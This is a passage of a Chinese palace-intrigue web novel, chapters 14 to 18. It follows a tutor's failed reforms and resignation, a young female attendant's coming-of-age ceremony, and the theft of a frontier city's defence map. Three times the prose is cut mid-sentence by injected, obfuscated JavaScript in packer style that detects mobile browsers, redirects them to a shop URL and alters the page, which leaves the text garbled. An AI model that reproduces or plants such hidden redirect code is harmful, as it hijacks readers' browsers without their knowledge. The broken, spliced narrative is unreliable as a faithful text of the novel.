“太傅他……” “太傅没有屈于强权!”周重晏眼中含着不可忽视的激动与敬佩,“他在离朝朝堂上据理力争,直言我朝虽败,国体犹在,民心未失。” “若离朝人欺人太甚,索求无度,我朝上下必定同仇敌忾,宁为玉碎不为瓦全!届时,离朝得到的将不是岁贡,而是边境永无止境的烽火!” 他顿了顿,目光灼灼的看向卫逾之,一字一句道:“离朝人被太傅的气势与言辞所威慑,更惧怕将我朝逼至绝境反扑。他们最后答应……放弃晋城。” 卫逾之怔怔的听着,仿佛能看见敌国金殿之上,一个清瘦的身影以一文臣身躯,扛着战败国的屈辱,却为了寸土江山,慷慨陈词,寸土不让! 她喃喃自语道:“太傅大人他,当真是国之柱石。” 几日后,文华殿的讲学重新恢复正常。 文华殿内,一位身着玄袍的老人端坐于讲席之上,正是离京五月,刚刚入宫复命归来的的丞相陈守执。 他比离去时清减许多,原本花白的须发已然全白,脸上布满了疲惫的沟壑,只有那双眼眸依旧清明深邃。 周重晏卫逾之二人端坐其下,等待太傅开讲。 陈守执却没有打开面前的治国典籍,他的目光扫过二人年少的脸庞,沉声开口:“老臣今日所讲,并非《尚书》,并非《春秋》。” “今日,老臣要与殿下,论一论我朝自太祖开国以来,与北境离朝的对战史。” “自太祖永熙四年,至如今嘉泰十一年。一百七十载间,宸离两朝,大小战事共五十一场。其中,我军大败二十九场,小挫溃败十八场,无功而返四场。至于开疆拓土?一次也无!” 一长串冰冷的数字,如一把匕首,狠狠刺入太子内心深处。他的脸色发白,这些国耻,从来都是秘而不宣,从未有人在他面前如此系统,如此赤裸的陈述。 “为何?!”太傅声音骤然拔高,“是我宸朝将士不够勇猛吗?是我宸朝子民不愿效死吗?!” “非也!”他猛地一拍书案,“乃是我朝国力疲敝!军制腐朽!国库空虚!因循守旧!积重难返!” “离朝铁骑,来去如风,我军兵卒,却调度迟缓,将不识兵,兵不识将!离朝匠造,精于弓弩战车,我朝军备,已多年未有革新!离朝上下赏罚分明,我军层层盘剥,有功不赏,有过不罚!” 他深吸一口气,仿佛要将心中积郁一吐而出:“此非一二将领之过,实乃立国之本已显颓势!” “殿下!若我朝继续抱残守缺,今日割让东安九郡,明日便可割让江南富庶之地!再然后,离朝铁骑便可饮马长安!江山社稷,祖宗基业,将毁于一旦!” 周重晏紧握着拳头,焦急问道:“太傅,当此危急存亡之秋,又有何法方可力挽狂澜,救我宸朝于倾倒之际?” “变法!”太傅斩钉截铁。“便如秦之商鞅,当以雷霆之势,砺新图志,整顿军备,破除旧弊!” “此举如刮骨疗伤,必会带来切肤之痛。哪怕会触及无数权贵利益,会引发滔天争议。然,我宸朝,已无退路,更无时间蹉跎犹豫了!” 这句话如惊雷般砸在卫逾之耳畔,她恍然想起三年前初次面圣时,模模糊糊听见的变法之语,竟是三年未曾实施?!这些年来,陛下究竟在忧虑什么?太傅的变法当真可以顺利施行吗? 自那日丞相在文华殿掷地有声的提出“变法”后,不过几日,陈守执便以保住晋城的威信换得皇帝信任,终于将酝酿多年的变法蓝图实施推行。 时间在朝廷的暗流与市井的议论中悄然流过。那几个月,周重晏每每会私下与卫逾之提及变法的进展。 “太傅呈上的《变法疏》,父皇已御笔朱批!” “新颁布的《垦荒令》,说是鼓励百姓开垦战乱时废弃土地,赋税减少三成。” “丞相今日上朝时提议,复用军功爵制,世袭荫蔽一应废除。” 那时的东宫,也因变法的顺利施行注满了活力。周重晏不再只研读经史,反而偷偷领着卫逾之共读《商君书》、《管子》,以及历代变法得失的策论。 秋叶落尽,寒冬将至。 太子从宫中回来,少见的发了怒,把自己关在寝殿内不吃不喝。 “岂有此理!”卫逾之推开殿门,便见周重晏把堆积如山的书卷一股脑挥掷地上。她默默捡起一卷查看,上面写着清丈田亩的官员受阻,甚至受到生命威胁。 “核查田亩的钦差,在江南竟被当地豪强联合抵制,不仅闭门不见,那日夜里,还遭到了刺客暗杀!他们眼里究竟还有没有王法?!” 他对着卫逾之倾述:“这么久了,国库依旧空虚。新法制衡世家,阻力太大,收缴上来的不过杯水车薪……可练兵,造器,何处不要银粮?” “那些朝中老臣,表面上唯唯诺诺,背地里竟联合上书,说什么‘祖宗之法不可变’,‘与民争利,非明君所为’!他们口 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他行至殿前,对周重晏抱拳行礼,动作干脆利落。 “末将江延,见过太子殿下!” 江延! 这个名字猛地拽住了卫逾之的心。她听说过这个名字,连同与他相关的,近乎传奇的故事。 他是去年那场惨烈战争中,宸朝为数不多拿得出手的亮点。据说他极其擅长防守,曾率一支孤军,死守摇摇欲坠的北境要塞长达月余,硬生生拖住了离朝主力的步伐。虽最后关隘失守,但其勇武和坚韧,已传遍朝野。 如此战功,却因其朝中无人,性情刚直,战后封赏并不丰厚,甚至一度被人忽视边缘。任谁也想不到,他会突然出现在东宫。 卫逾之压下心中诧异,太子询问道:“江大人不必多礼,不知今日前来,所为何事?” 江延直起身,眼神毫不避讳的看向周重晏:“臣奉太傅之意,自今日起,负责督导殿下武艺,骑射,并讲解兵法舆图。” 他看向一旁的卫逾之,补充道:“还有这位小姑娘,太傅交代过,既为太子侍臣,也应知晓些兵戈之事。” 卫逾之一怔,太傅此举,用意颇深。是在兵败割地刺激下决心加强储君的军事造诣,还是要把“江延”这等孤臣纳入东宫体系? 江延接着问道:“殿下平日所用何兵器?弓马是否娴熟?” 周重晏答道:“习过剑术,略通骑术。”宫中骑射,多是仪典性质,与实战大不相同。 江延未做评论,转而看向卫逾之:“你呢?可曾摸过刀剑?” 他原以为会得到一个完全否定的答案,不曾想卫逾之思索片刻,答道:“幼时劈材时用过刀斧,不知可算?” “劈材?!”江延眉头一皱,转而一想这位正是第一位寒门出生的太子侍臣,随即了然:“既然如此,二位便都从头学起。你们需知,战场搏杀,非是宫廷演武,一招一式,皆关乎国之兴亡。” 15. 一曲阳关 东宫校场,春日暖阳洒在卫逾之身上。她安静的坐在一旁,静听演武场上兵器碰撞的铿锵之声。 周重晏手持未开刃的长剑,与一名侍卫对战。他的动作比几个月前迅猛许多,但依旧被寻出破绽,剑身被格开,手腕一震,长剑险些脱手。 “停!”江延制止道:“殿下,您的角度实在过于死板!战场杀敌不是背书,敌人可不会按《武经》上出招!” 太子抿紧嘴唇,抹了把汗,再次摆开架势。 江延转头看向卫逾之,思索片刻,问道:“你呢?这几日一直在旁边看着,想来也学会了些基础招式。可要试一试?” “我?”卫逾之猝不及防,愣了一瞬,才在太子鼓励的眼光中走了过去。 江延低头看着这个依旧纤细的女孩,细胳膊细腿在魁梧的将军面前更显弱不禁风。他随手从旁边的兵器架上取下一把木剑,较之卫逾之短不了多少。 “拿着。”他将木剑递了过去。 木剑重量不小,足以让任何一个孩子手腕一沉。卫逾之面不改色,学着周重晏的样子将其双手握紧。 江延在地上放上一块木桩,道:“站稳了。用你最大的力气,横扫过去。” 卫逾之深吸一口气,双腿下意识分开,摆出一个稳固的姿势。她细微调整了一下握剑的位置,腰身猛地一拧,全身力量灌注于手臂上。一道劲风随着木剑横扫而出! 动作干净利落,发力迅速集中,丝毫没有寻常初学者的绵软无力! 周重晏眼中闪过明显的讶异。 江延似猛兽发现同类般快速上前,迅速出手,在她的小臂,肩胛,腰腹几个部位飞快捏拿几下。 “天生筋骨强韧,关节开合远超常人,发力顺畅,毫无滞涩!” 他绕着卫逾之走了一圈,如视一块未经雕琢的璞玉,“你这丫头,当真有些意思。若是在军中,也是块做斥侯的好料子!” 卫逾之被这过于灼热的目光看的脸色发红,江延还想再说些什么,便见宫中内侍从远处走来,传召太子入宫。 直至夜半,太子銮驾迟迟未见踪迹。宫灯在廊下摇曳,伴着阴雨连绵的夜色。卫逾之心中莫名不安,并未像往日般早早歇下,而是独立于窗边,反复翻看着今日江延留下的兵书。 寻梅的急促的脚步声由远及近,打破夜的寂静。 “昭阳殿传来消息,太子殿下回来了。”她吞吞吐吐道:“说是脸色不好,把好几个贴身伺候的宫人都吓坏了……” 卫逾之心中一沉,忙披衣束发赶往太子寝殿。 殿内气氛压抑异常,周重晏原本如白玉般的脸变得铁青,那双总是蕴着一泓静水的眸子此刻只有滔天的怒意。 他看见了卫逾之,那紧抿的唇终于动了一下。 “太傅那边……变法,停了。” 一句话,如雷鸣般炸开在卫逾之耳畔。 “停了?”她难以置信,“为何?陛下不是一向赞成变法的……” “不是父皇。”周重晏恍惚的摇了摇头,“是推行不下去了。清丈田亩,触及宗室;整顿军备,断了无数富商财路;改革军制,更是动了勋贵名门的根基!各方势力反弹,联名上书,流言四起。父皇他,顶不住压力了。” 卫逾之脸色苍白,让她心惊的还在后面。 “你可知,今日太傅在聚众议事之时,遭御史台多名官员弹劾?” “所为何事?” 周重晏冷笑一声,“罪名是‘变法扰民,动摇国本’,还有……”他的声音顿了一下,笑意几乎癫狂,“还有人翻出旧账,言及当初谈判东安九郡之事,讥讽太傅当初未能保全更多疆土,为宸朝换取更多利益。” “说他是因心生怯懦,或是暗中与离朝勾结。保下一个晋城,不过是为了掩饰其无能,讨好离朝的遮羞布!!” “实乃不尽心尽力,畏敌如虎!!其心可诛!!” 卫逾之浑身血液倒流,失声惊呼道:“他们无耻!” 晋城,那是太傅在国力衰微、战败求和的不利局面下,殚精竭虑,硬是从离朝虎口中保住了战略要地晋城的功绩!是他在屈辱中为宸朝挽回的最后一丝尊严!如今,竟成了政敌攻讦他的罪状? “这是颠倒黑白!恩将仇报!他们怎能……怎能……”卫逾之浑身冰凉,气得说出的话都开始颤抖。 忠臣良将,就是这样的下场吗? 那夜之后,变法失败的消息迅速传遍了长安上下。一时间人心惶惶,也不知在多方弹劾之下,太傅是何去处? 东宫时有年纪尚小的宫人私下议论,卫逾之在书斋整理典籍时,那流言便清晰入耳。 “听说了吗?丞相他,好像递了乞骸骨的折子了!” “乞骸骨……这是要辞官?” “可不是吗!闹成这样哪里还待的下去?听说丞相府前冷落的都可以跑马了,平日里巴结的谋士门生,现在躲都躲不及。听说陛下他,现在也不怎么重视太傅了。” “唉,也是可怜。这么大年纪了,还要受这等闲气。说是要回陇西老家去呢。” “陇西?这么远!路上怕是不太平……” 后面的话,卫逾之已是听不清了。她僵立在原地,直到宫人发现她连连乞求也没有反应。 她连着好几日沉默寡言,有时一整日也说不了几句话。也不派寻梅去打听消息,就连太子询问也心不在焉,只是对着舆图或兵书出神。 嘉泰十二年夏六月,廿二。文华殿内,几日前递上辞官归乡奏疏的太傅陈守执,为二人上了最后一课。 “今日,老臣是来向二位辞行的。”数月来的心力交瘁,在陈守执脸上留下不可磨灭的刻痕,唯有那一双眼睛亘古不变。 “太傅当真要走?”周重晏拽紧了衣袍,眼眶微红。 “陛下已准了臣乞骸骨之奏,”他的语气淡漠的像在说一件于己无关的事,“朝中诸公,亦觉臣年老昏聩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她心中默念着。太傅究其一生,便如飞蛾扑火追逐着这四句话,然后呢? 然后,是他呕心沥血推行变法,却在各方势力的扼杀下黯然收场;是他忍辱负重抱住城池的功劳,被轻易扭曲贬低得一文不值;是他只能辞官归乡,孤独离去。 这四句话,太重,太耀眼了,如天上的太阳,让人仰望,却也灼人。 卫逾之低下头,又回想起卫家村那日的瓢泼大雨,遇狼时的血迹斑斑,皇后殡仪老乞丐磕破的头颅,寻梅在昏暗牢房中的奄奄一息。 她敬佩太傅,真心实意的敬佩。但她却觉得,这样活着,太累了,太苦了。似乎,没有好下场。 “我真的能做到吗?我真的敢吗?”一个模糊的声音在卫逾之心底响起。 她没有太子肩负江山的责任,也没有太傅那样崇高的理想。她想要的,或许很简单,活下去,她只想要好好的活下去。 这种想法,与太傅风光霁月的胸怀相比,显得那样渺小,甚至有些“自私”。 卫逾之感到一阵羞愧,可那念头,却在她心中扎根,蔓延…… 16. 李氏 嘉泰十八年,春三月。 寒来暑往,几度春秋倏忽而过。 卫逾之的及笄礼并未大肆操办。因其父母远隔千里,下落不明,皇后早逝,太傅离去,宫中女眷亦无人关心她这个出身卑微的侍臣。 所幸太子记得,虽一切从简,自己便代为正宾为其吟诵祝词,束发带笄。 礼成后,她卸下了年少时常束的双丫髻,墨染青丝与脑后挽起一个端庄素雅的垂髫分肖髻。身着一袭碧绿色交领半袖襦裙,芙蓉色披帛绕过肩背搭于双臂上,显得她身量纤长,眉目间的稚气褪去,只余下染着天地灵秀的沉静与疏朗。 她的肌肤不再是初入宫时的粗糙,如今莹如白玉,额间饱满如月,一双凤眼,眼尾微挑,带着若有若无的疏离。左眼下不知何时冒出一颗小痣,更显一丝灵气。 这场仪式虽一切从简,甚至未广发请帖,但太子的出席,亲自作为正宾为其主导,也让一些消息灵通、心思活络的官员家眷,或是与东宫来往密切的宗室子弟瞩目,便都寻了个由头,陆续前来道贺。 一时间,东宫珠环翠绕,夫人们言笑晏晏,似有若无的揣度着风向。年轻的贵女们三五成群,低声私语,好奇的打量着太子身侧的少女。 卫逾之自幼长于东宫,除了三公主周群玉,这些前来道贺的宾客,她大多不认识。那些繁复的命妇头衔,拗口的封号,以及她们背后那些盘根错节的家族势力,无一不让她头昏脑胀。 人群中传来细微骚动,她抬头看去,见郎中令江延依旧一身劲装,眉宇间难得舒展开来,醒来是初为人父的喜悦依旧在他心头萦绕。 “殿下。”他冲着周重晏抱拳行礼,转而看向卫逾之,笑道:“丫头,长大了。恭喜!” 他从怀中掏出一个物件,递了过来。并非什么贵重礼物,而是一柄打磨光滑的短刃。 “战场上用不上这个,留着给你玩玩,或者防身也行。” 卫逾之小心接过,只见那刃如秋水,寒意凛然。 周重晏微微颔首:“没想到江大人今日竟有空前来。” “刚去了趟军部,顺道来看看。”江延说着,像是忽然想起了什么,那素来刚毅的脸上,竟浮现一丝局促。他搓了搓因常年握兵器而长满厚茧的手,声音低沉了些:“说起来……那小子,你们也听说了吧?” 周重晏脸上露出真切的笑意:“恭贺将军,弄璋之喜。孤以命人备下贺礼,不日便会送至府上。” “谢殿下。”江延道了谢,随即又叹了口气,面上仿佛被一层薄薄的雾霾笼罩,“那小子就是身子骨弱了些,他娘早产,刚出生的时候哭声跟猫似的。郎中也瞧过了,说是天生弱症,需得仔细将养。能否立住,还得看天意……” “将军莫要过于担心,”周重晏闻言,温声安慰道:“宫中若有擅长此道的太医,孤可遣往府中,为小公子诊治。假以时日,定能康健起来。” “殿下厚恩,末将感激不尽!”江延抱拳,神色稍霁。 他目光一转,落在一旁安静聆听的卫逾之身上,有些不好意思的开口道:“丫头,你读的书多,脑子也灵光,帮我个忙可好?” 卫逾之一怔:“将军请讲。” “我那小子,还没个大名。你也知道我是个粗人,起出来的名字他娘都嫌难听,那些文邹邹的字眼又觉得拗口。你给起一个?只要好养活就行。” 卫逾之愣住了,为一个朝廷命官之子起名,江延将军这是何等看得起她? 她沉吟片刻,脑中掠过无数蕴含康健成长的典故诗句,却又觉得过于生僻或落了俗套。 “就叫……‘久生’,如何?” “久生?”江延重复了一遍。 “不错,‘久’者,取‘永恒’之意,不求他建功立业,大富大贵,但求他健康长寿,一世安好。”卫逾之解释道。 江延低声念了几遍,眼神渐渐亮了起来,那为孩子的担忧仿佛被这个名字带来的朴实力量驱散了些。他豪爽的拍了下手,笑道:“好!江久生!这个名字好!!就叫这个了!” 他的笑声引得周围宾客纷纷侧目,大多或是掩唇轻笑,或是交换着意味不明的眼神。不过是觉得江延实在不懂得趋炎附势,怎的太子就在一旁,这能让其留下墨宝恩泽的好机会,竟白白浪费在那小丫头片子的随口一言上,当真愚不可及! 江延浑然不觉这无声的嘲讽,卫逾之却敏锐察觉到其中的压力,微微垂下眼眸。 只一位身着绯色锦缎罗裳的少女朗声开口,如珠玉落地:“久闻江大人为人豪迈,今日一见,当真是真性情,让人倾佩!” 众人寻声望去,少女不过二八年华,生就一副浓艳娇丽的好模样,脸若芙蓉,鼻梁高挺,朱唇饱满,大而明亮的杏眼藏的是闺阁女儿家少见的英姿飒爽。 “卫侍臣所起‘久生’二字,撇其浮华,存其本真,蕴含着为人父母最恳切的祈愿,当真是个大巧若拙的好名字!此间真诚,比之那些繁文缛节,曲意逢迎不知要强几倍呢。” 她这番话,竟将方才那无声的嘲讽化为无形,一时竟无人能出言反驳。 周重晏侧过头,低声道:“这位是李丞相的千金。” 李丞相! 卫逾之瞬间明了。自六年前太傅变法失败,遭弹劾后黯然辞官,丞相之位便空了出来。 起初,世人皆以为陛下中意太子少傅贺进,亦或是林贵妃胞兄林九思,谁料竟提拔了定国贞侯的旁系子孙——李明礼,接任了丞相之位。 其先祖李长愿,乃是跟随太祖皇帝开疆拓土的从龙之臣,更是宸朝历史上第一位,也是目前为止唯一的女丞相! 她以女子之身,在立国之初掌管财政,立定制度,其功绩彪炳史记,备受尊崇。 正因这开国功勋,李氏一族虽非皇室,却得到了历代帝王非同一般的礼遇厚待。府邸匾额由太祖亲自提笔,子孙皆有荫官庇佑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543482|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。如此殊恩,却似天道忌盈,家族人丁一直不兴旺,几代单传的情况时有发生。 更奇怪的是,自李长愿后,李氏子孙在朝中再无人担任过真正掌握实权的要臣,他们像是被高高供奉的“祥瑞”,是皇族用来彰显不忘功臣,优待氏族的佐证。 直到李明礼这一代。 卫逾之依稀记得,这位李丞相并未安于做一位富贵闲人,于嘉泰元年便考取了功名,却没有留在长安,反而主动请缨,前往边境。直到嘉泰十一年宸离两朝战事暂歇,才举家迁回。 太傅的倒台,恰好给了陛下一个重新划分权利的机会。不管是太子党也好二皇子党也罢,都比不上这位拥有显赫祖荫,自身又有过军旅经验,在朝中根基相对干净的绝佳人选。 周重晏偶然提起过,陛下启用他,即是对李氏家族忠心耿耿的安抚,又未曾不是看中了他家族人丁不旺,便于掌控的弱点。 这位李姑娘,便是他的独女李茹。 据说李丞相之妻在边境生产时遭遇难产,拼死生下女儿后便撒手人寰。李丞相悲痛欲绝,将对亡妻全部的思念与爱意都倾注在这个女儿身上,将其视如珍宝,千依百顺。 卫逾之的思绪直至宴席结束,及笄礼的喧嚣散去,衣着华贵的宾客们纷纷散去,东宫内外终于恢复了些许清净。 日光西斜,周重晏在□□上闲庭漫步,侧目看着一直跟在身后的卫逾之。 温暖的阳光为他挺拔的身姿镀上一片柔光,那双桃花眼里含着粼粼波光,温和似水。 “今日及笄,算上真的长大了。”周重晏开口,声音比平日更柔和些许。他从袖中掏出一个细长的锦盒,递到卫逾之面前。 卫逾之微微一怔,双手接过。那锦盒里,是一只白玉簪。 簪身素净无瑕,是上好的羊脂玉,打磨得光滑温润,只在簪头处,依着玉料的天然形状,寥寥数笔,雕成了一朵将开未开的玉兰蓓蕾,似含蓄,又充满生机。 “及笄之礼。”太子看出她眼中细微的诧异,唇角微扬,“既已及笄,便是大人了。日后,宫中诸多场合,你亦可名正言顺随侍左右。” 说着,他从腰间解下一物。那是一块碧色令牌,通体青绿,触手冰凉沉重。 “这是出入宫禁,象征东宫的青宫令。”周重晏将令牌放在卫逾之手中,“凭此令,你便可自由出入东宫,若遇急事,见此令牌如见孤,你亦可凭此号令东宫侍从。” “之儿,你自幼到孤身旁,于孤而言,你早就是孤身旁不可或缺之人。往后之路,或许更为复杂坎坷,望你能持此玉簪,明心见性,不忘初心;亦能执此令牌,通行无阻,助孤一臂之力。” 卫逾之握紧手中两件器物,她深知这不仅仅是及笄贺礼,更是界限的逾越。 从今日起,她将走出东宫的庇护,一步步迈入那充满机遇也荆棘丛生的权利中心。 “逾之,谢殿下厚赐,定不负殿下所托。” 17. 朝堂惊变 盛夏的蝉鸣聒噪不休,日头最烈时,晒得东宫的琉璃瓦一片晃眼的白。书斋北窗大开,临着荷塘,水面风来,带着荷叶的清新,轻抚案上翻开的书页。 殿内,冰鉴的凉气搏开了殿外蒸腾的热浪,换得一方清凉,殿内只余下棋子落在棋盘上的敲击声。 卫逾之两指拈着一枚白玉棋子,举在半空,并未着急落下。 “殿下。”珠帘被一只手掀起,带进一丝热风。春喜公公躬身垂首,双手捧着一封深褐色的信函。 太子神色一怔,微微颔首。 春喜公公立刻碎步上前,将信函平稳置于太子手边的紫檀小几上,然后识趣退下。 卫逾之垂下眼,假装研究棋局,眼角的余光却不由自主往上瞥。只见周重晏用银刀裁开火漆,抽出内里的信笺。 起初,他依旧保持着惯常的沉稳,只寥寥看了几眼,那捏着信纸的指尖一颤。 “舅父他,被急召回京了。” 太子的舅父赵崇,乃是当朝镇远将军,陛下初登基时,便主动请缨举家前往西境戍守,至今已十余年未还京。 “舅父常年镇守西陲,非有重大变故,绝不会轻易离开守区。”周重晏放下信笺,眉头紧锁。 卫逾之心中凛然。西境虽无大战,但西戎族与宸朝关系微妙,需要强将坐镇。此时召回,绝非寻常! 赵将军回京当日,便风尘仆仆的入了皇城,周重晏奉旨入朝。卫逾之虽只有虚衔,却因近年来才华出众,深得皇帝赏识,及笄礼后不久,便下了一道特旨,准其随太子听政。 卫逾之跟随在周重晏身后入殿时,只觉被那沉重压抑的气氛压制的喘不过气来。 宣政殿内,丞相李明礼、中丞贺进立于左侧。右侧立着一位身着甲胄的将军,只见他面容棱角分明,两鬓虽已染上霜白,但那挺拔如松的脊梁,锐利似鹰的明眸,无一不彰显身经百战的威严。 他正是武阳侯赵崇。 御座上,皇帝不再似往日般的不怒自威,脸色甚至有些颓然,他长呼一口气,揉了揉发胀的眉心,龙袍下的手肉眼可见的颤抖。 御座之下人人大气不敢出,这是皇帝发怒的信号。 “虞城的布防图……怎会不见?!说!”皇帝猛然的将急报掷于御案之上,声音沙哑,活似一只受伤的困兽! 卫逾之瞳孔猛缩。自东安九郡有八郡割让给离朝,北境门洞大开,陛下倾尽国力,耗费无数钱粮民力,于险要之处新建的虞城,便成了宸朝抵御外地入侵最坚固的一道屏障。 七年来,举国上下,几乎所有的资源、最精锐的军队、最先进的守城器械,都源源不断地向虞城倾斜。它不仅是边境的一座城池,更是整个宸朝的安危所系,是悬在君臣心头最重的巨石,也是……洗刷东安之耻的唯一希望。 可现在,这座重城的核心机密,那张完整的布防图,竟然在戒备森严的太守府中,不翼而飞! 那一股寒意从卫逾之的脚底开始蔓延,那张关乎国家生死存亡的图纸,竟然丢了?! “据虞城太守急报,”李明礼开口,声音凝重,“三日前清点密室时,存放布防图的鎏金铜匣仍在。前日核查时,匣内已空。期间并未外人闯入痕迹,甚至密室机关仍完好无损。” “废物!”皇帝胸口剧烈起伏,“虞城太守是干什么吃的?!守城司呢?全是废物吗?!” 李明礼犹豫片刻,垂下眼,开口道:“臣斗胆推测,似是虞城内……出了内鬼。” 众人呼吸一滞,内鬼?! 贺进点头附声:“臣也这样想。若非一个对虞城内部环境了如指掌的人,绝无可能悄无声息的盗走布防图。” “混账!”皇帝眼中布满了血丝,一拂袖恶狠狠将御案之上的书卷全部扫了下去,“东安九郡的屈辱尚未洗刷,现在,朕这么多年的心血,竟还未经历过战火洗刷,倒先在内部瓦解了!!” “若这张图落在离朝人手中,你们自己想想是什么后果?!” “所有的兵防部署就在敌人面前一览无余!到时候还说什么坚不可摧?虞城早就是形同虚设的离朝属地了!!” “父皇莫急!”周重晏上前一步,脸色同样苍白,但眼神却迅速恢复了冷静,“当务之急,是否该立刻更换虞城布防,全力追查图纸下落,揪出内奸,并严防离朝异动?” 赵崇终于开了口,语气无奈:“变更布防?谈何容易!虞城乃我朝数年来心血所聚,牵一发而动全身,仓促变更,只怕漏洞更大。” “何况还需要钱粮、时间、能安抚民心的将才……” 殿内再次陷入一片死寂。变更防御体系绝非一朝一夕之功,而布防图失踪的消息,恐怕隐瞒不了多久。一旦离朝得到图纸并发起进攻……所有人都感到一股寒意从脊椎升起。 皇帝疲惫地闭上眼,挥了挥手:“李明礼,此事由你亲自督办,动用一切力量,暗中追查!虞城内外,给朕筛一遍!赵崇,你协调各方军队,准备应对……最坏的情况。” 众人躬身退下,脚步沉重。 夜色深沉,周重晏屛退了所以宫人,独自站在那幅巨大的舆图前,心绪如同乱麻。 外有强敌虎视眈眈,内有奸细如同附骨之疽,这重重宫阙,看似固若金汤,实则不堪一击。 “之儿,”他侧过头看向一直安静侍立一旁的卫逾之。自宫中回来,她几乎没有发出过一点声音,只是默默将书案上略显凌乱的奏报整理齐整。 “今日是你第一次入宫听政,自得知了那件事,你便一言不发,可是……吓着了?” 卫逾之站起身,微微摇头,烛光印亮她清丽的脸庞。此事关乎国本,暗处不知有多少双眼睛盯着。多说多错,言多必失。 “殿下,微臣非是被吓到。只是这件事兹事体大,牵连甚广。微臣人微言轻,不敢妄言。” “此刻唯有你我,”周重晏凝视着她,眼里满是信赖,“孤想听听你的想法,任何想法,不论对错,但说无妨。” 卫逾之迎着他的目光,知道无法再回避。她沉吟片刻,低声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“微臣的意思是,追查的方向,或许不仅限于虞城。也许那张布防图,早已悄然南运。现如今众人都把目光集中在北境虞城,又有谁会留意通往南方的车马商队呢?” “若是悄然避难南方,不管是相邻的城池,就算是长安也不无可能。待风声一过,布防图便自然畅通无阻的送至离朝人手中了。” 周重晏怔怔的看着她,这抽丝剥茧的分析,跳出了固化的思维,指向了一个被所有人忽略的方向。 “当然,当务之急,却如殿下所言,变更布防,追查内奸。这只是微臣一点愚见,微臣往家揣测,殿下听听便罢。”卫逾之最后补充道。 “不!”周重晏眼里重新聚满锐利的光芒,“南运……不错!就是南运!之儿,你……”他想夸赞,却发现任何言辞在此刻都表达不出他内心雀跃之万分。 “孤明日便上奏父皇,请他留意南下异常,并挑选一位重臣前往虞城。” 周重晏喃喃自语,语气难得的亢奋:“之儿,孤会像父皇禀明这全是你的思路!全是你超乎寻人的洞察力才能想到这些!” 卫逾之已低下了头,目光若有所思。 18. 不速之客 夏日的雨来得急,豆大的雨点噼里啪啦地砸在东宫琉璃瓦上,汇成水帘,顺着飞檐流淌而下。 早间,武阳侯府上送来了拜帖。 赵崇在周重晏不满两岁时便离了长安,驻守西境。静庄皇后在世时,他尚且每逢佳节便会回京看望,自嘉泰八年皇后薨逝后,便和东宫只有书信来往。 周重晏虽与他算不上感情甚笃,但母后早逝,这位常年驻守在外,手握重兵的舅父,便是他为数不多的血脉至亲,亦是他在朝堂之上的最重要的倚仗。 甥舅二人前日虽在宣政殿打过照面,如今却是十余年来初次私下相见,自是有一番契阔。 “一别数年,舅父风彩依旧。” “殿下如今倒是愈发沉稳了,颇有先皇后当年的风范。” 二人在昭阳殿落座,随意叙了些无关痛痒的闲话,聊了些边关烽火,军中旧事,气氛还算得上融洽。卫逾之如常侍立在侧,暗暗斟酌赵崇所言西境战事。 “岁月不饶人啊,”赵崇话锋一转,捋了捋修剪整齐的胡须,目光意味深长的扫过太子,“说来,殿下已至弱冠之年,东宫正妃之位却依旧空虚。” “国本攸关,陛下虽未明言,但心中必然挂念着。” 周重晏端着茶盏的手微顿,面上依旧从容,淡然道:“有劳舅父挂心,只是如今国事维艰,北境未宁,孤自觉学识阅历尚且不足,实无心于此。况且,我宸朝历代先帝及宗室子弟,为专注国事、避免外戚过早坐大,多有晚婚之例,父皇亦曾言,不必急于一时。” 赵崇闻言,讪讪一笑,却未顺势而下。 “殿下此言差矣,正是国事维艰,方要稳固内庭,以安朝野之心。若有贤德之女入主东宫,为殿下排忧解难,更是社稷之福。” 他状似无意般开口道:“殿下可还记得你那表妹媛容?” “那孩子自小便温婉娴静,知书达礼,模样也还算周正。她母亲前些日子还念叨着,许久未见殿下,甚是挂念……” 卫逾之一怔。话说到这个份上,其意图已昭然若揭。殿下这位舅父,竟是存了亲上加亲的心思! “舅父!”周重晏不等赵崇把话说完,便抬手打断了他,随即抬头,对着一旁垂首静立的卫逾之吩咐道:“逾之,去把前日父皇送来的顾渚紫笋取些来,舅父多年只饮浓茶,今日也换换口味。” “诺。”卫逾之立刻敛衽应道,迈步出了殿门。 待她按太子吩咐备好茶,已近正午。乌云压顶,雨势渐大,庭院间的花草在雨幕中瑟瑟摇曳,天地间一片朦胧雨汽。 却见一名职守宫门的内侍冒着雨,步履匆匆的穿过庭院,一路小跑着过来。 “卫姑娘,总算找到你了!”内侍抹了把脸上的雨水,气都喘不匀,“殿下正与武阳侯叙话,奴才不敢打扰,便只能来过问卫姑娘您……” “东宫门外来了位姑娘,就这么站在雨里,不肯走,也不报上名贴……只说自己是赵将军的女儿,要来见父亲。” 赵将军的女儿?赵媛容? 卫逾之心念一动,方才赵崇的话她听得分明。怎么转眼间,这位赵姑娘竟不请自来,还如此突兀的出现在东宫门口,立于雨中? 况且她这么着急前来,且不说赵崇多年与妻女同在西境,未有分离,这来访东宫也不过两个时辰,他的女儿怎会独自一人,如此狼狈的出现在东宫门外求见? 此事处处透着蹊跷,但无论如何,涉及太子与赵将军,不能怠慢。 “人在何处?”卫逾之稳住心神,沉声问道。 